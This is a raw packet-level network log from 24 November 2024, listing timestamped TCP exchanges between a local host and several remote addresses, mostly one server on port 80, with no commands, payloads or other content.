Nov 24, 2024 23:24:36.727826118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.728467941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.728532076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.728573084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.728614092 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.729372025 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.729425907 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.729464054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.729509115 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.730220079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.730274916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.730319977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.730411053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.731138945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.731189966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.731242895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.731282949 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.732072115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.732122898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.732193947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.732239008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.732975006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.733040094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.733046055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.733088017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.733798981 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.733849049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.733899117 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.733963013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.734663010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.734754086 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.734802008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.735502005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.735610962 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.735660076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.736381054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.736428022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.804440975 CET	49831	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.804548979 CET	443	49831	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:36.804647923 CET	49831	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.804681063 CET	49832	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.804723024 CET	443	49832	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:36.804797888 CET	49832	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.804965019 CET	49833	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.805000067 CET	443	49833	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:36.805054903 CET	49833	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.805082083 CET	49834	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.805092096 CET	443	49834	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:36.805143118 CET	49834	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.805279016 CET	49835	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.805289984 CET	443	49835	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:36.805335999 CET	49836	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.805373907 CET	443	49836	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:36.805433035 CET	49835	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.805435896 CET	49836	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.805538893 CET	49831	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.805572987 CET	443	49831	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:36.805641890 CET	49832	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.805661917 CET	443	49832	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:36.805737972 CET	49834	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.805752039 CET	443	49834	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:36.805866003 CET	49833	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.805879116 CET	443	49833	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:36.805943966 CET	49835	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.805952072 CET	443	49835	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:36.806057930 CET	49836	443	192.168.2.5	13.107.246.40
Nov 24, 2024 23:24:36.806077957 CET	443	49836	13.107.246.40	192.168.2.5
Nov 24, 2024 23:24:36.806864977 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.807507992 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.807527065 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.808012962 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:36.808018923 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:36.826652050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.826752901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.826782942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.826845884 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.827094078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.827162981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.827212095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.827294111 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.827996969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.828049898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.828083038 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.828142881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.828838110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.828886032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.894922972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.894992113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.895013094 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.895061016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.895337105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.895394087 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.895426035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.895471096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.896220922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.896274090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.896362066 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.896507025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.897069931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.897125959 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.897404909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.897516012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.897967100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.898020983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.898406029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.898473978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.898837090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.898889065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.899085999 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.899177074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.899755001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.899857044 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.899872065 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.899965048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.900605917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.900686979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.900713921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.900753021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.901521921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.901582956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.901622057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.901673079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.902358055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.902416945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.902472019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.902517080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.903276920 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.903461933 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.903520107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.904141903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.904251099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.904305935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.905018091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.905296087 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.905354023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.905881882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.905935049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.906032085 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.906131029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.906780958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.906841040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.906853914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.906908989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.907670021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.907721043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.907798052 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.907854080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.908543110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.908642054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.908696890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.909432888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.909533978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.909567118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.909614086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.910295963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.910346985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.910403967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.910444021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.911180973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.911225080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.911290884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.911339045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.912060022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.912110090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.912156105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.912209988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.912918091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.912981033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.913043022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.913088083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.913861990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.913911104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.913975000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.914025068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.914716959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.914766073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.914819002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.914875984 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.915580034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.915642023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.915682077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.915730953 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.916481018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.916529894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.916670084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.916733027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.917351007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.917464018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.917469978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.917591095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.918272972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.918330908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.918499947 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.918549061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.919105053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.919429064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.919497013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.919996977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.920062065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.920269012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.920902014 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.921003103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.921083927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.921767950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.921825886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.921866894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.921967030 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.922641993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.922687054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.922768116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.922923088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.923528910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.923578024 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.923646927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.923693895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.924424887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.924474955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.924532890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.924582005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.925322056 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.925364971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.925401926 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.925451994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.926198959 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.926233053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.926291943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.927062988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.927263021 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.927423000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.927469015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.927966118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.928018093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.928097010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.928143978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.928843975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.928910971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.928980112 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.929025888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.929724932 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.929851055 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.929933071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.930577993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.930627108 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.930696011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.930744886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.931520939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.931571007 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.931667089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.931711912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.932368040 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.932416916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.932451010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.932612896 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.933211088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.933259010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.933355093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.933408022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.934083939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.934139967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.934195995 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.934959888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.935019016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.935055017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.935096025 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.935844898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.935956001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.936044931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.936724901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.936786890 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.936810970 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.936857939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.937628031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.937701941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:36.937720060 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:36.937796116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.028140068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.028227091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.028271914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.028500080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.028548956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.028652906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.028711081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.029443979 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.029514074 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.029606104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.029655933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.030287027 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.030347109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.049866915 CET	443	49826	23.209.72.40	192.168.2.5
Nov 24, 2024 23:24:37.050136089 CET	49826	443	192.168.2.5	23.209.72.40
Nov 24, 2024 23:24:37.050148964 CET	443	49826	23.209.72.40	192.168.2.5
Nov 24, 2024 23:24:37.050483942 CET	443	49826	23.209.72.40	192.168.2.5
Nov 24, 2024 23:24:37.050900936 CET	49826	443	192.168.2.5	23.209.72.40
Nov 24, 2024 23:24:37.050972939 CET	443	49826	23.209.72.40	192.168.2.5
Nov 24, 2024 23:24:37.092375040 CET	49826	443	192.168.2.5	23.209.72.40
Nov 24, 2024 23:24:37.096177101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.096194983 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.096250057 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.096395969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.096447945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.096489906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.097261906 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.097404003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.097408056 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.098150969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.098212957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.098332882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.098378897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.098784924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.098839998 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.098881006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.099488974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.099683046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.099818945 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.099875927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.100558996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.100666046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.100711107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.101430893 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.101485014 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.101588964 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.101732016 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.101980925 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.102050066 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 23:24:37.102308989 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 23:24:37.102324963 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.102374077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.102412939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.102473974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.103182077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.103230000 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.103364944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.103426933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.104079008 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.104149103 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.104338884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.104499102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.104960918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.105009079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.105078936 CET	80	49760	185.215.113.206	192.168.2.5
